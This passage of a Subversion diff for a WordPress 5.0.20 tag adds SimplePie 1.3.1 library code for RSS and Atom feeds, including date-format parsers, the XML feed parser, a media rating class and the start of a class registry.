+		foreach ($this->user as $method)
+		{
+			if (($returned = call_user_func($method, $date)) !== false)
+			{
+				return $returned;
+			}
+		}
+
+		foreach ($this->built_in as $method)
+		{
+			if (($returned = call_user_func(array($this, $method), $date)) !== false)
+			{
+				return $returned;
+			}
+		}
+
+		return false;
+	}
+
+	/**
+	 * Add a callback method to parse a date
+	 *
+	 * @final
+	 * @access public
+	 * @param callable $callback
+	 */
+	public function add_callback($callback)
+	{
+		if (is_callable($callback))
+		{
+			$this->user[] = $callback;
+		}
+		else
+		{
+			trigger_error('User-supplied function must be a valid callback', E_USER_WARNING);
+		}
+	}
+
+	/**
+	 * Parse a superset of W3C-DTF (allows hyphens and colons to be omitted, as
+	 * well as allowing any of upper or lower case "T", horizontal tabs, or
+	 * spaces to be used as the time seperator (including more than one))
+	 *
+	 * @access protected
+	 * @return int Timestamp
+	 */
+	public function date_w3cdtf($date)
+	{
+		static $pcre;
+		if (!$pcre)
+		{
+			$year = '([0-9]{4})';
+			$month = $day = $hour = $minute = $second = '([0-9]{2})';
+			$decimal = '([0-9]*)';
+			$zone = '(?:(Z)|([+\-])([0-9]{1,2}):?([0-9]{1,2}))';
+			$pcre = '/^' . $year . '(?:-?' . $month . '(?:-?' . $day . '(?:[Tt\x09\x20]+' . $hour . '(?::?' . $minute . '(?::?' . $second . '(?:.' . $decimal . ')?)?)?' . $zone . ')?)?)?$/';
+		}
+		if (preg_match($pcre, $date, $match))
+		{
+			/*
+			Capturing subpatterns:
+			1: Year
+			2: Month
+			3: Day
+			4: Hour
+			5: Minute
+			6: Second
+			7: Decimal fraction of a second
+			8: Zulu
+			9: Timezone ±
+			10: Timezone hours
+			11: Timezone minutes
+			*/
+
+			// Fill in empty matches
+			for ($i = count($match); $i <= 3; $i++)
+			{
+				$match[$i] = '1';
+			}
+
+			for ($i = count($match); $i <= 7; $i++)
+			{
+				$match[$i] = '0';
+			}
+
+			// Numeric timezone
+			if (isset($match[9]) && $match[9] !== '')
+			{
+				$timezone = $match[10] * 3600;
+				$timezone += $match[11] * 60;
+				if ($match[9] === '-')
+				{
+					$timezone = 0 - $timezone;
+				}
+			}
+			else
+			{
+				$timezone = 0;
+			}
+
+			// Convert the number of seconds to an integer, taking decimals into account
+			$second = round($match[6] + $match[7] / pow(10, strlen($match[7])));
+
+			return gmmktime($match[4], $match[5], $second, $match[2], $match[3], $match[1]) - $timezone;
+		}
+		else
+		{
+			return false;
+		}
+	}
+
+	/**
+	 * Remove RFC822 comments
+	 *
+	 * @access protected
+	 * @param string $data Data to strip comments from
+	 * @return string Comment stripped string
+	 */
+	public function remove_rfc2822_comments($string)
+	{
+		$string = (string) $string;
+		$position = 0;
+		$length = strlen($string);
+		$depth = 0;
+
+		$output = '';
+
+		while ($position < $length && ($pos = strpos($string, '(', $position)) !== false)
+		{
+			$output .= substr($string, $position, $pos - $position);
+			$position = $pos + 1;
+			if ($string[$pos - 1] !== '\\')
+			{
+				$depth++;
+				while ($depth && $position < $length)
+				{
+					$position += strcspn($string, '()', $position);
+					if ($string[$position - 1] === '\\')
+					{
+						$position++;
+						continue;
+					}
+					elseif (isset($string[$position]))
+					{
+						switch ($string[$position])
+						{
+							case '(':
+								$depth++;
+								break;
+
+							case ')':
+								$depth--;
+								break;
+						}
+						$position++;
+					}
+					else
+					{
+						break;
+					}
+				}
+			}
+			else
+			{
+				$output .= '(';
+			}
+		}
+		$output .= substr($string, $position);
+
+		return $output;
+	}
+
+	/**
+	 * Parse RFC2822's date format
+	 *
+	 * @access protected
+	 * @return int Timestamp
+	 */
+	public function date_rfc2822($date)
+	{
+		static $pcre;
+		if (!$pcre)
+		{
+			$wsp = '[\x09\x20]';
+			$fws = '(?:' . $wsp . '+|' . $wsp . '*(?:\x0D\x0A' . $wsp . '+)+)';
+			$optional_fws = $fws . '?';
+			$day_name = $this->day_pcre;
+			$month = $this->month_pcre;
+			$day = '([0-9]{1,2})';
+			$hour = $minute = $second = '([0-9]{2})';
+			$year = '([0-9]{2,4})';
+			$num_zone = '([+\-])([0-9]{2})([0-9]{2})';
+			$character_zone = '([A-Z]{1,5})';
+			$zone = '(?:' . $num_zone . '|' . $character_zone . ')';
+			$pcre = '/(?:' . $optional_fws . $day_name . $optional_fws . ',)?' . $optional_fws . $day . $fws . $month . $fws . $year . $fws . $hour . $optional_fws . ':' . $optional_fws . $minute . '(?:' . $optional_fws . ':' . $optional_fws . $second . ')?' . $fws . $zone . '/i';
+		}
+		if (preg_match($pcre, $this->remove_rfc2822_comments($date), $match))
+		{
+			/*
+			Capturing subpatterns:
+			1: Day name
+			2: Day
+			3: Month
+			4: Year
+			5: Hour
+			6: Minute
+			7: Second
+			8: Timezone ±
+			9: Timezone hours
+			10: Timezone minutes
+			11: Alphabetic timezone
+			*/
+
+			// Find the month number
+			$month = $this->month[strtolower($match[3])];
+
+			// Numeric timezone
+			if ($match[8] !== '')
+			{
+				$timezone = $match[9] * 3600;
+				$timezone += $match[10] * 60;
+				if ($match[8] === '-')
+				{
+					$timezone = 0 - $timezone;
+				}
+			}
+			// Character timezone
+			elseif (isset($this->timezone[strtoupper($match[11])]))
+			{
+				$timezone = $this->timezone[strtoupper($match[11])];
+			}
+			// Assume everything else to be -0000
+			else
+			{
+				$timezone = 0;
+			}
+
+			// Deal with 2/3 digit years
+			if ($match[4] < 50)
+			{
+				$match[4] += 2000;
+			}
+			elseif ($match[4] < 1000)
+			{
+				$match[4] += 1900;
+			}
+
+			// Second is optional, if it is empty set it to zero
+			if ($match[7] !== '')
+			{
+				$second = $match[7];
+			}
+			else
+			{
+				$second = 0;
+			}
+
+			return gmmktime($match[5], $match[6], $second, $month, $match[2], $match[4]) - $timezone;
+		}
+		else
+		{
+			return false;
+		}
+	}
+
+	/**
+	 * Parse RFC850's date format
+	 *
+	 * @access protected
+	 * @return int Timestamp
+	 */
+	public function date_rfc850($date)
+	{
+		static $pcre;
+		if (!$pcre)
+		{
+			$space = '[\x09\x20]+';
+			$day_name = $this->day_pcre;
+			$month = $this->month_pcre;
+			$day = '([0-9]{1,2})';
+			$year = $hour = $minute = $second = '([0-9]{2})';
+			$zone = '([A-Z]{1,5})';
+			$pcre = '/^' . $day_name . ',' . $space . $day . '-' . $month . '-' . $year . $space . $hour . ':' . $minute . ':' . $second . $space . $zone . '$/i';
+		}
+		if (preg_match($pcre, $date, $match))
+		{
+			/*
+			Capturing subpatterns:
+			1: Day name
+			2: Day
+			3: Month
+			4: Year
+			5: Hour
+			6: Minute
+			7: Second
+			8: Timezone
+			*/
+
+			// Month
+			$month = $this->month[strtolower($match[3])];
+
+			// Character timezone
+			if (isset($this->timezone[strtoupper($match[8])]))
+			{
+				$timezone = $this->timezone[strtoupper($match[8])];
+			}
+			// Assume everything else to be -0000
+			else
+			{
+				$timezone = 0;
+			}
+
+			// Deal with 2 digit year
+			if ($match[4] < 50)
+			{
+				$match[4] += 2000;
+			}
+			else
+			{
+				$match[4] += 1900;
+			}
+
+			return gmmktime($match[5], $match[6], $match[7], $month, $match[2], $match[4]) - $timezone;
+		}
+		else
+		{
+			return false;
+		}
+	}
+
+	/**
+	 * Parse C99's asctime()'s date format
+	 *
+	 * @access protected
+	 * @return int Timestamp
+	 */
+	public function date_asctime($date)
+	{
+		static $pcre;
+		if (!$pcre)
+		{
+			$space = '[\x09\x20]+';
+			$wday_name = $this->day_pcre;
+			$mon_name = $this->month_pcre;
+			$day = '([0-9]{1,2})';
+			$hour = $sec = $min = '([0-9]{2})';
+			$year = '([0-9]{4})';
+			$terminator = '\x0A?\x00?';
+			$pcre = '/^' . $wday_name . $space . $mon_name . $space . $day . $space . $hour . ':' . $min . ':' . $sec . $space . $year . $terminator . '$/i';
+		}
+		if (preg_match($pcre, $date, $match))
+		{
+			/*
+			Capturing subpatterns:
+			1: Day name
+			2: Month
+			3: Day
+			4: Hour
+			5: Minute
+			6: Second
+			7: Year
+			*/
+
+			$month = $this->month[strtolower($match[2])];
+			return gmmktime($match[4], $match[5], $match[6], $month, $match[3], $match[7]);
+		}
+		else
+		{
+			return false;
+		}
+	}
+
+	/**
+	 * Parse dates using strtotime()
+	 *
+	 * @access protected
+	 * @return int Timestamp
+	 */
+	public function date_strtotime($date)
+	{
+		$strtotime = strtotime($date);
+		if ($strtotime === -1 || $strtotime === false)
+		{
+			return false;
+		}
+		else
+		{
+			return $strtotime;
+		}
+	}
+}
+
Index: /tags/5.0.20/src/wp-includes/SimplePie/Parser.php
===================================================================
--- /tags/5.0.20/src/wp-includes/SimplePie/Parser.php	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/SimplePie/Parser.php	(revision 56912)
@@ -0,0 +1,407 @@
+<?php
+/**
+ * SimplePie
+ *
+ * A PHP-Based RSS and Atom Feed Framework.
+ * Takes the hard work out of managing a complete RSS/Atom solution.
+ *
+ * Copyright (c) 2004-2012, Ryan Parman, Geoffrey Sneddon, Ryan McCue, and contributors
+ * All rights reserved.
+ *
+ * Redistribution and use in source and binary forms, with or without modification, are
+ * permitted provided that the following conditions are met:
+ *
+ * 	* Redistributions of source code must retain the above copyright notice, this list of
+ * 	  conditions and the following disclaimer.
+ *
+ * 	* Redistributions in binary form must reproduce the above copyright notice, this list
+ * 	  of conditions and the following disclaimer in the documentation and/or other materials
+ * 	  provided with the distribution.
+ *
+ * 	* Neither the name of the SimplePie Team nor the names of its contributors may be used
+ * 	  to endorse or promote products derived from this software without specific prior
+ * 	  written permission.
+ *
+ * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS
+ * OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY
+ * AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDERS
+ * AND CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
+ * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
+ * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+ * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
+ * OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
+ * POSSIBILITY OF SUCH DAMAGE.
+ *
+ * @package SimplePie
+ * @version 1.3.1
+ * @copyright 2004-2012 Ryan Parman, Geoffrey Sneddon, Ryan McCue
+ * @author Ryan Parman
+ * @author Geoffrey Sneddon
+ * @author Ryan McCue
+ * @link http://simplepie.org/ SimplePie
+ * @license http://www.opensource.org/licenses/bsd-license.php BSD License
+ */
+
+/**
+ * Parses XML into something sane
+ *
+ *
+ * This class can be overloaded with {@see SimplePie::set_parser_class()}
+ *
+ * @package SimplePie
+ * @subpackage Parsing
+ */
+class SimplePie_Parser
+{
+	var $error_code;
+	var $error_string;
+	var $current_line;
+	var $current_column;
+	var $current_byte;
+	var $separator = ' ';
+	var $namespace = array('');
+	var $element = array('');
+	var $xml_base = array('');
+	var $xml_base_explicit = array(false);
+	var $xml_lang = array('');
+	var $data = array();
+	var $datas = array(array());
+	var $current_xhtml_construct = -1;
+	var $encoding;
+	protected $registry;
+
+	public function set_registry(SimplePie_Registry $registry)
+	{
+		$this->registry = $registry;
+	}
+
+	public function parse(&$data, $encoding)
+	{
+		// Use UTF-8 if we get passed US-ASCII, as every US-ASCII character is a UTF-8 character
+		if (strtoupper($encoding) === 'US-ASCII')
+		{
+			$this->encoding = 'UTF-8';
+		}
+		else
+		{
+			$this->encoding = $encoding;
+		}
+
+		// Strip BOM:
+		// UTF-32 Big Endian BOM
+		if (substr($data, 0, 4) === "\x00\x00\xFE\xFF")
+		{
+			$data = substr($data, 4);
+		}
+		// UTF-32 Little Endian BOM
+		elseif (substr($data, 0, 4) === "\xFF\xFE\x00\x00")
+		{
+			$data = substr($data, 4);
+		}
+		// UTF-16 Big Endian BOM
+		elseif (substr($data, 0, 2) === "\xFE\xFF")
+		{
+			$data = substr($data, 2);
+		}
+		// UTF-16 Little Endian BOM
+		elseif (substr($data, 0, 2) === "\xFF\xFE")
+		{
+			$data = substr($data, 2);
+		}
+		// UTF-8 BOM
+		elseif (substr($data, 0, 3) === "\xEF\xBB\xBF")
+		{
+			$data = substr($data, 3);
+		}
+
+		if (substr($data, 0, 5) === '<?xml' && strspn(substr($data, 5, 1), "\x09\x0A\x0D\x20") && ($pos = strpos($data, '?>')) !== false)
+		{
+			$declaration = $this->registry->create('XML_Declaration_Parser', array(substr($data, 5, $pos - 5)));
+			if ($declaration->parse())
+			{
+				$data = substr($data, $pos + 2);
+				$data = '<?xml version="' . $declaration->version . '" encoding="' . $encoding . '" standalone="' . (($declaration->standalone) ? 'yes' : 'no') . '"?>' . $data;
+			}
+			else
+			{
+				$this->error_string = 'SimplePie bug! Please report this!';
+				return false;
+			}
+		}
+
+		$return = true;
+
+		static $xml_is_sane = null;
+		if ($xml_is_sane === null)
+		{
+			$parser_check = xml_parser_create();
+			xml_parse_into_struct($parser_check, '<foo>&amp;</foo>', $values);
+			xml_parser_free($parser_check);
+			$xml_is_sane = isset($values[0]['value']);
+		}
+
+		// Create the parser
+		if ($xml_is_sane)
+		{
+			$xml = xml_parser_create_ns($this->encoding, $this->separator);
+			xml_parser_set_option($xml, XML_OPTION_SKIP_WHITE, 1);
+			xml_parser_set_option($xml, XML_OPTION_CASE_FOLDING, 0);
+			xml_set_object($xml, $this);
+			xml_set_character_data_handler($xml, 'cdata');
+			xml_set_element_handler($xml, 'tag_open', 'tag_close');
+
+			// Parse!
+			if (!xml_parse($xml, $data, true))
+			{
+				$this->error_code = xml_get_error_code($xml);
+				$this->error_string = xml_error_string($this->error_code);
+				$return = false;
+			}
+			$this->current_line = xml_get_current_line_number($xml);
+			$this->current_column = xml_get_current_column_number($xml);
+			$this->current_byte = xml_get_current_byte_index($xml);
+			xml_parser_free($xml);
+			return $return;
+		}
+		else
+		{
+			libxml_clear_errors();
+			$xml = new XMLReader();
+			$xml->xml($data);
+			while (@$xml->read())
+			{
+				switch ($xml->nodeType)
+				{
+
+					case constant('XMLReader::END_ELEMENT'):
+						if ($xml->namespaceURI !== '')
+						{
+							$tagName = $xml->namespaceURI . $this->separator . $xml->localName;
+						}
+						else
+						{
+							$tagName = $xml->localName;
+						}
+						$this->tag_close(null, $tagName);
+						break;
+					case constant('XMLReader::ELEMENT'):
+						$empty = $xml->isEmptyElement;
+						if ($xml->namespaceURI !== '')
+						{
+							$tagName = $xml->namespaceURI . $this->separator . $xml->localName;
+						}
+						else
+						{
+							$tagName = $xml->localName;
+						}
+						$attributes = array();
+						while ($xml->moveToNextAttribute())
+						{
+							if ($xml->namespaceURI !== '')
+							{
+								$attrName = $xml->namespaceURI . $this->separator . $xml->localName;
+							}
+							else
+							{
+								$attrName = $xml->localName;
+							}
+							$attributes[$attrName] = $xml->value;
+						}
+						$this->tag_open(null, $tagName, $attributes);
+						if ($empty)
+						{
+							$this->tag_close(null, $tagName);
+						}
+						break;
+					case constant('XMLReader::TEXT'):
+
+					case constant('XMLReader::CDATA'):
+						$this->cdata(null, $xml->value);
+						break;
+				}
+			}
+			if ($error = libxml_get_last_error())
+			{
+				$this->error_code = $error->code;
+				$this->error_string = $error->message;
+				$this->current_line = $error->line;
+				$this->current_column = $error->column;
+				return false;
+			}
+			else
+			{
+				return true;
+			}
+		}
+	}
+
+	public function get_error_code()
+	{
+		return $this->error_code;
+	}
+
+	public function get_error_string()
+	{
+		return $this->error_string;
+	}
+
+	public function get_current_line()
+	{
+		return $this->current_line;
+	}
+
+	public function get_current_column()
+	{
+		return $this->current_column;
+	}
+
+	public function get_current_byte()
+	{
+		return $this->current_byte;
+	}
+
+	public function get_data()
+	{
+		return $this->data;
+	}
+
+	public function tag_open($parser, $tag, $attributes)
+	{
+		list($this->namespace[], $this->element[]) = $this->split_ns($tag);
+
+		$attribs = array();
+		foreach ($attributes as $name => $value)
+		{
+			list($attrib_namespace, $attribute) = $this->split_ns($name);
+			$attribs[$attrib_namespace][$attribute] = $value;
+		}
+
+		if (isset($attribs[SIMPLEPIE_NAMESPACE_XML]['base']))
+		{
+			$base = $this->registry->call('Misc', 'absolutize_url', array($attribs[SIMPLEPIE_NAMESPACE_XML]['base'], end($this->xml_base)));
+			if ($base !== false)
+			{
+				$this->xml_base[] = $base;
+				$this->xml_base_explicit[] = true;
+			}
+		}
+		else
+		{
+			$this->xml_base[] = end($this->xml_base);
+			$this->xml_base_explicit[] = end($this->xml_base_explicit);
+		}
+
+		if (isset($attribs[SIMPLEPIE_NAMESPACE_XML]['lang']))
+		{
+			$this->xml_lang[] = $attribs[SIMPLEPIE_NAMESPACE_XML]['lang'];
+		}
+		else
+		{
+			$this->xml_lang[] = end($this->xml_lang);
+		}
+
+		if ($this->current_xhtml_construct >= 0)
+		{
+			$this->current_xhtml_construct++;
+			if (end($this->namespace) === SIMPLEPIE_NAMESPACE_XHTML)
+			{
+				$this->data['data'] .= '<' . end($this->element);
+				if (isset($attribs['']))
+				{
+					foreach ($attribs[''] as $name => $value)
+					{
+						$this->data['data'] .= ' ' . $name . '="' . htmlspecialchars($value, ENT_COMPAT, $this->encoding) . '"';
+					}
+				}
+				$this->data['data'] .= '>';
+			}
+		}
+		else
+		{
+			$this->datas[] =& $this->data;
+			$this->data =& $this->data['child'][end($this->namespace)][end($this->element)][];
+			$this->data = array('data' => '', 'attribs' => $attribs, 'xml_base' => end($this->xml_base), 'xml_base_explicit' => end($this->xml_base_explicit), 'xml_lang' => end($this->xml_lang));
+			if ((end($this->namespace) === SIMPLEPIE_NAMESPACE_ATOM_03 && in_array(end($this->element), array('title', 'tagline', 'copyright', 'info', 'summary', 'content')) && isset($attribs['']['mode']) && $attribs['']['mode'] === 'xml')
+			|| (end($this->namespace) === SIMPLEPIE_NAMESPACE_ATOM_10 && in_array(end($this->element), array('rights', 'subtitle', 'summary', 'info', 'title', 'content')) && isset($attribs['']['type']) && $attribs['']['type'] === 'xhtml')
+			|| (end($this->namespace) === SIMPLEPIE_NAMESPACE_RSS_20 && in_array(end($this->element), array('title')))
+			|| (end($this->namespace) === SIMPLEPIE_NAMESPACE_RSS_090 && in_array(end($this->element), array('title')))
+			|| (end($this->namespace) === SIMPLEPIE_NAMESPACE_RSS_10 && in_array(end($this->element), array('title'))))
+			{
+				$this->current_xhtml_construct = 0;
+			}
+		}
+	}
+
+	public function cdata($parser, $cdata)
+	{
+		if ($this->current_xhtml_construct >= 0)
+		{
+			$this->data['data'] .= htmlspecialchars($cdata, ENT_QUOTES, $this->encoding);
+		}
+		else
+		{
+			$this->data['data'] .= $cdata;
+		}
+	}
+
+	public function tag_close($parser, $tag)
+	{
+		if ($this->current_xhtml_construct >= 0)
+		{
+			$this->current_xhtml_construct--;
+			if (end($this->namespace) === SIMPLEPIE_NAMESPACE_XHTML && !in_array(end($this->element), array('area', 'base', 'basefont', 'br', 'col', 'frame', 'hr', 'img', 'input', 'isindex', 'link', 'meta', 'param')))
+			{
+				$this->data['data'] .= '</' . end($this->element) . '>';
+			}
+		}
+		if ($this->current_xhtml_construct === -1)
+		{
+			$this->data =& $this->datas[count($this->datas) - 1];
+			array_pop($this->datas);
+		}
+
+		array_pop($this->element);
+		array_pop($this->namespace);
+		array_pop($this->xml_base);
+		array_pop($this->xml_base_explicit);
+		array_pop($this->xml_lang);
+	}
+
+	public function split_ns($string)
+	{
+		static $cache = array();
+		if (!isset($cache[$string]))
+		{
+			if ($pos = strpos($string, $this->separator))
+			{
+				static $separator_length;
+				if (!$separator_length)
+				{
+					$separator_length = strlen($this->separator);
+				}
+				$namespace = substr($string, 0, $pos);
+				$local_name = substr($string, $pos + $separator_length);
+				if (strtolower($namespace) === SIMPLEPIE_NAMESPACE_ITUNES)
+				{
+					$namespace = SIMPLEPIE_NAMESPACE_ITUNES;
+				}
+
+				// Normalize the Media RSS namespaces
+				if ($namespace === SIMPLEPIE_NAMESPACE_MEDIARSS_WRONG ||
+					$namespace === SIMPLEPIE_NAMESPACE_MEDIARSS_WRONG2 ||
+					$namespace === SIMPLEPIE_NAMESPACE_MEDIARSS_WRONG3 ||
+					$namespace === SIMPLEPIE_NAMESPACE_MEDIARSS_WRONG4 ||
+					$namespace === SIMPLEPIE_NAMESPACE_MEDIARSS_WRONG5 )
+				{
+					$namespace = SIMPLEPIE_NAMESPACE_MEDIARSS;
+				}
+				$cache[$string] = array($namespace, $local_name);
+			}
+			else
+			{
+				$cache[$string] = array('', $string);
+			}
+		}
+		return $cache[$string];
+	}
+}
Index: /tags/5.0.20/src/wp-includes/SimplePie/Rating.php
===================================================================
--- /tags/5.0.20/src/wp-includes/SimplePie/Rating.php	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/SimplePie/Rating.php	(revision 56912)
@@ -0,0 +1,129 @@
+<?php
+/**
+ * SimplePie
+ *
+ * A PHP-Based RSS and Atom Feed Framework.
+ * Takes the hard work out of managing a complete RSS/Atom solution.
+ *
+ * Copyright (c) 2004-2012, Ryan Parman, Geoffrey Sneddon, Ryan McCue, and contributors
+ * All rights reserved.
+ *
+ * Redistribution and use in source and binary forms, with or without modification, are
+ * permitted provided that the following conditions are met:
+ *
+ * 	* Redistributions of source code must retain the above copyright notice, this list of
+ * 	  conditions and the following disclaimer.
+ *
+ * 	* Redistributions in binary form must reproduce the above copyright notice, this list
+ * 	  of conditions and the following disclaimer in the documentation and/or other materials
+ * 	  provided with the distribution.
+ *
+ * 	* Neither the name of the SimplePie Team nor the names of its contributors may be used
+ * 	  to endorse or promote products derived from this software without specific prior
+ * 	  written permission.
+ *
+ * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS
+ * OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY
+ * AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDERS
+ * AND CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
+ * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
+ * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+ * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
+ * OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
+ * POSSIBILITY OF SUCH DAMAGE.
+ *
+ * @package SimplePie
+ * @version 1.3.1
+ * @copyright 2004-2012 Ryan Parman, Geoffrey Sneddon, Ryan McCue
+ * @author Ryan Parman
+ * @author Geoffrey Sneddon
+ * @author Ryan McCue
+ * @link http://simplepie.org/ SimplePie
+ * @license http://www.opensource.org/licenses/bsd-license.php BSD License
+ */
+
+/**
+ * Handles `<media:rating>` or `<itunes:explicit>` tags as defined in Media RSS and iTunes RSS respectively
+ *
+ * Used by {@see SimplePie_Enclosure::get_rating()} and {@see SimplePie_Enclosure::get_ratings()}
+ *
+ * This class can be overloaded with {@see SimplePie::set_rating_class()}
+ *
+ * @package SimplePie
+ * @subpackage API
+ */
+class SimplePie_Rating
+{
+	/**
+	 * Rating scheme
+	 *
+	 * @var string
+	 * @see get_scheme()
+	 */
+	var $scheme;
+
+	/**
+	 * Rating value
+	 *
+	 * @var string
+	 * @see get_value()
+	 */
+	var $value;
+
+	/**
+	 * Constructor, used to input the data
+	 *
+	 * For documentation on all the parameters, see the corresponding
+	 * properties and their accessors
+	 */
+	public function __construct($scheme = null, $value = null)
+	{
+		$this->scheme = $scheme;
+		$this->value = $value;
+	}
+
+	/**
+	 * String-ified version
+	 *
+	 * @return string
+	 */
+	public function __toString()
+	{
+		// There is no $this->data here
+		return md5(serialize($this));
+	}
+
+	/**
+	 * Get the organizational scheme for the rating
+	 *
+	 * @return string|null
+	 */
+	public function get_scheme()
+	{
+		if ($this->scheme !== null)
+		{
+			return $this->scheme;
+		}
+		else
+		{
+			return null;
+		}
+	}
+
+	/**
+	 * Get the value of the rating
+	 *
+	 * @return string|null
+	 */
+	public function get_value()
+	{
+		if ($this->value !== null)
+		{
+			return $this->value;
+		}
+		else
+		{
+			return null;
+		}
+	}
+}
Index: /tags/5.0.20/src/wp-includes/SimplePie/Registry.php
===================================================================
--- /tags/5.0.20/src/wp-includes/SimplePie/Registry.php	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/SimplePie/Registry.php	(revision 56912)
@@ -0,0 +1,225 @@
+<?php
+/**
+ * SimplePie
+ *
+ * A PHP-Based RSS and Atom Feed Framework.
+ * Takes the hard work out of managing a complete RSS/Atom solution.
+ *
+ * Copyright (c) 2004-2012, Ryan Parman, Geoffrey Sneddon, Ryan McCue, and contributors
+ * All rights reserved.
+ *
+ * Redistribution and use in source and binary forms, with or without modification, are
+ * permitted provided that the following conditions are met:
+ *
+ * 	* Redistributions of source code must retain the above copyright notice, this list of
+ * 	  conditions and the following disclaimer.
+ *
+ * 	* Redistributions in binary form must reproduce the above copyright notice, this list
+ * 	  of conditions and the following disclaimer in the documentation and/or other materials
+ * 	  provided with the distribution.
+ *
+ * 	* Neither the name of the SimplePie Team nor the names of its contributors may be used
+ * 	  to endorse or promote products derived from this software without specific prior
+ * 	  written permission.
+ *
+ * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS
+ * OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY
+ * AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDERS
+ * AND CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
+ * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
+ * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+ * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
+ * OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
+ * POSSIBILITY OF SUCH DAMAGE.
+ *
+ * @package SimplePie
+ * @version 1.3.1
+ * @copyright 2004-2012 Ryan Parman, Geoffrey Sneddon, Ryan McCue
+ * @author Ryan Parman
+ * @author Geoffrey Sneddon
+ * @author Ryan McCue
+ * @link http://simplepie.org/ SimplePie
+ * @license http://www.opensource.org/licenses/bsd-license.php BSD License
+ */
+
+/**
+ * Handles creating objects and calling methods
+ *
+ * Access this via {@see SimplePie::get_registry()}
+ *
+ * @package SimplePie
+ */
+class SimplePie_Registry
+{
+	/**
+	 * Default class mapping
+	 *
+	 * Overriding classes *must* subclass these.
+	 *
+	 * @var array
+	 */
+	protected $default = array(
+		'Cache' => 'SimplePie_Cache',
+		'Locator' => 'SimplePie_Locator',
+		'Parser' => 'SimplePie_Parser',
+		'File' => 'SimplePie_File',
+		'Sanitize' => 'SimplePie_Sanitize',
+		'Item' => 'SimplePie_Item',
+		'Author' => 'SimplePie_Author',
+		'Category' => 'SimplePie_Category',
+		'Enclosure' => 'SimplePie_Enclosure',
+		'Caption' => 'SimplePie_Caption',
+		'Copyright' => 'SimplePie_Copyright',
+		'Credit' => 'SimplePie_Credit',
+		'Rating' => 'SimplePie_Rating',
+		'Restriction' => 'SimplePie_Restriction',
+		'Content_Type_Sniffer' => 'SimplePie_Content_Type_Sniffer',
+		'Source' => 'SimplePie_Source',
+		'Misc' => 'SimplePie_Misc',
+		'XML_Declaration_Parser' => 'SimplePie_XML_Declaration_Parser',
+		'Parse_Date' => 'SimplePie_Parse_Date',
+	);
+
+	/**
+	 * Class mapping
+	 *
+	 * @see register()
+	 * @var array
+	 */
+	protected $classes = array();
+
+	/**
+	 * Legacy classes
+	 *
+	 * @see register()
+	 * @var array
+	 */
+	protected $legacy = array();
+
+	/**
+	 * Constructor
+	 *
+	 * No-op
+	 */
+	public function __construct() { }
+
+	/**
+	 * Register a class
+	 *
+	 * @param string $type See {@see $default} for names
+	 * @param string $class Class name, must subclass the corresponding default
+	 * @param bool $legacy Whether to enable legacy support for this class
+	 * @return bool Successfulness
+	 */
+	public function register($type, $class, $legacy = false)
+	{
+		if (!is_subclass_of($class, $this->default[$type]))
+		{
+			return false;
+		}
+
+		$this->classes[$type] = $class;
+
+		if ($legacy)
+		{
+			$this->legacy[] = $class;
+		}
+
+		return true;
+	}
+
+	/**
+	 * Get the class registered for a type
+	 *
+	 * Where possible, use {@see create()} or {@see call()} instead
+	 *
+	 * @param string $type
+	 * @return string|null
+	 */
+	public function get_class($type)
+	{
+		if (!empty($this->classes[$type]))
+		{
+			return $this->classes[$type];
+		}
+		if (!empty($this->default[$type]))
+		{
+			return $this->default[$type];
+		}
+
+		return null;
+	}
+
+	/**
+	 * Create a new instance of a given type
+	 *
+	 * @param string $type
+	 * @param array $parameters Parameters to pass to the constructor
+	 * @return object Instance of class
+	 */
